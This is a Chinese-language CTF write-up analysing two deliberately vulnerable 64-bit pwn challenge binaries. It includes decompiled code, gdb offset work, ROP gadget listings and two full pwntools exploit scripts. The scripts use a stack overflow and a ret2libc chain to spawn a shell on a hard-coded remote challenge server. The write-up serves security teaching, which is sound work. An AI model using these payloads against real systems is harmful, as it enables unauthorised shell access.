ios@ubuntu:~$ checksec ez [*] '/home/ios/ez' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
__int64 __fastcall main(__int64 a1, char **a2, char **a3){ int v4; // [rsp+Ch] [rbp-4h] setbuf(stdin, 0LL); setbuf(stdout, 0LL); puts("Guess what I think!"); puts("233 or 666"); __isoc99_scanf("%d", &v4); if ( v4 == 233 ) sub_400726(); if ( v4 == 666 ) sub_400737(); if ( v4 == 5438 ) sub_400748(5438LL); return 0LL;}
int __fastcall sub_400748(int a1){ int result; // eax char buf; // [rsp+10h] [rbp-20h] puts("You find my secret!"); puts("So,Tell me your name!"); read(0, &buf, 0x50uLL); result = printf("I have remembered you, %s", &buf); if ( a1 == 233 ) result = system("/bin/sh"); return result;}
漏洞很明显在read函数处 32位下的话应该是有两解变量覆盖及rop 具体可以参考iscc的WP ISCC-login (ORZ)所以此题利用方式类似 就不在赘述了 (大晚上写wp有点累 偷个懒0.0)
https://www.secpulse.com/archives/74108.html
from pwn import * #p = process('ez')本地测试... #p = remote('192.168.3.222',10001)内网线下 p = remote('118.25.227.117',10001)#外网目前可用 p.recv() p.sendline('5438') p.recv() payload = 'A'*32+'b'*8+p64(0x4007A1) p.sendline(payload) p.interactive()
尝试运行
ios@ubuntu:~$ checksec relro [*] '/home/ios/relro' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
_int64 __fastcall main(__int64 a1, char **a2, char **a3){ const char *v3; // rdi char **v5; // [rsp+0h] [rbp-20h] int v6; // [rsp+18h] [rbp-8h] int v7; // [rsp+1Ch] [rbp-4h] v5 = a2; v7 = 0; sub_4009D6(a1, a2, a3); v3 = "Welcome to easy message system."; puts("Welcome to easy message system."); while ( !v7 ) { sub_400A7F(v3); printf("Your choose: ", v5); v3 = "%d"; __isoc99_scanf("%d", &v6); switch ( v6 ) { case 2: sub_400B70(); break; case 3: v3 = "Exit"; puts("Exit"); v7 = 1; break; case 1: sub_400AC2("%d", &v6); break; default: v3 = "invalid choose"; puts("invalid choose"); break; } } if ( dest ) { free(dest); dest = 0LL; } return 0LL;}
int sub_400AC2() { int result; // eax char *v1; // rax char src; // [rsp+0h] [rbp-40h] memset(dest, 0, 0x100uLL); puts("Input your message:"); if ( (unsigned int)sub_400BE1(&src, 256LL) == -1 ) { memset(dest, 0, 0x100uLL); v1 = dest; *(_QWORD *)dest = 7008762548701852247LL; *((_WORD *)v1 + 4) = 24948; result = puts("Error: read message failde."); } else { strncpy(dest, &src, 0xFFuLL); result = puts("save message success."); } return result; }
signed __int64 __fastcall sub_400BE1(__int64 a1, signed int a2){ char buf; // [rsp+17h] [rbp-9h] int v4; // [rsp+18h] [rbp-8h] unsigned int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; (signed int)i < a2; ++i ) { v4 = read(0, &buf, 1uLL); if ( v4 < 0 ) return 0xFFFFFFFFLL; if ( !v4 || i == a2 - 1 || buf == 10 ) { *(_BYTE *)((signed int)i + a1) = 0; return i; } *(_BYTE *)(a1 + (signed int)i) = buf; } return i;}
strncpy(dest, &src, 0xFFuLL);
gdb-peda$ file relro Reading symbols from relro...(no debugging symbols found)...done. gdb-peda$ b* 0x400B1B Breakpoint 1 at 0x400b1b gdb-peda$ r Starting program: /home/ios/relro Welcome to easy message system. -------------------- 1. save message 2. show message 3. exit-------------------- Your choose: 1 Input your message: AAAA
[----------------------------------registers-----------------------------------] RAX: 0x603010 --> 0x0 RBX: 0x0 RCX: 0x7fffffffde30 --> 0x41414141 ('AAAA')RDX: 0xff RSI: 0x7fffffffde30 --> 0x41414141 ('AAAA')RDI: 0x603010 --> 0x0 RBP: 0x7fffffffde70 --> 0x7fffffffdea0 --> 0x400c70 (push r15)RSP: 0x7fffffffde30 --> 0x41414141 ('AAAA')RIP: 0x400b1b (call 0x400770 <strncpy@plt>)R8 : 0x7ffff7fda700 (0x00007ffff7fda700)R9 : 0x0 R10: 0x0 R11: 0x246 R12: 0x400810 (xor ebp,ebp)R13: 0x7fffffffdf80 --> 0x1 R14: 0x0 R15: 0x0
char src; // [rsp+0h] [rbp-40h]
Breakpoint 1, 0x0000000000400b1b in ?? () gdb-peda$ p/d 0x7fffffffde70-0x7fffffffde30$1 = 64
gdb-peda$ p/d 0x7fffffffde70-0x7fffffffde30 +0x8 $2 = 72
ios@ubuntu:~$ ROPgadget --binary relro --only "pop|ret" Gadgets information============================================================0x0000000000400ccc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400cce : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400cd0 : pop r14 ; pop r15 ; ret 0x0000000000400cd2 : pop r15 ; ret 0x0000000000400ccb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400ccf : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004008d9 : pop rbp ; ret 0x0000000000400cd3 : pop rdi ; ret 0x0000000000400cd1 : pop rsi ; pop r15 ; ret 0x0000000000400ccd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400746 : ret 0x000000000040028e : ret 0x8f7b 0x0000000000400c56 : ret 0xb60f Unique gadgets found: 13
elf = ELF('relro') puts_plt = elf.symbols['puts'] puts_got = elf.got['puts'] start_main = 0x400810 rdi = 0x400cd3 #pop rdi ; ret payload = 'A'*72+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(start_main) p.sendline(payload) log.info(p.recvuntil("save message success.\n")) data = p.recvuntil('\n', drop=True) puts = u64(data.ljust(8,'\x00')) print hex(puts)
puts = u64(data.ljust(8,'\x00')) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') system_addr = puts-libc.symbols['puts']+libc.symbols['system'] binsh = next(libc.search('/bin/sh')) binsh_addr = puts-libc.symbols['puts']+binsh payload1 = 'A'*72+p64(rdi)+p64(binsh_addr)+p64(system_addr) p.sendline(payload1)
from pwn import * #p = process('./relro') p = remote('118.25.227.117',10000) context.log_level = 'debug' elf = ELF('relro') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') log.info(p.recvuntil("Your choose: ")) p.sendline('1') log.info(p.recvuntil("Input your message:")) puts_plt = elf.symbols['puts'] puts_got = elf.got['puts'] start_main = 0x400810 fake =0x400A2C rdi = 0x400cd3 #pop rdi ; ret payload = 'A'*72+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(start_main) p.sendline(payload) log.info(p.recvuntil("save message success.\n")) data = p.recvuntil('\n', drop=True) puts = u64(data.ljust(8,'\x00')) print hex(puts) system_addr = puts-libc.symbols['puts']+libc.symbols['system'] print hex(system_addr) log.info(p.recvuntil("Your choose: ")) p.sendline('1') log.info(p.recvuntil("Input your message:")) binsh = next(libc.search('/bin/sh')) binsh_addr = puts-libc.symbols['puts']+binsh payload1 = 'A'*72+p64(rdi)+p64(binsh_addr)+p64(system_addr) p.sendline(payload1) p.interactive()
本文作者:iosmosis
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/74108.html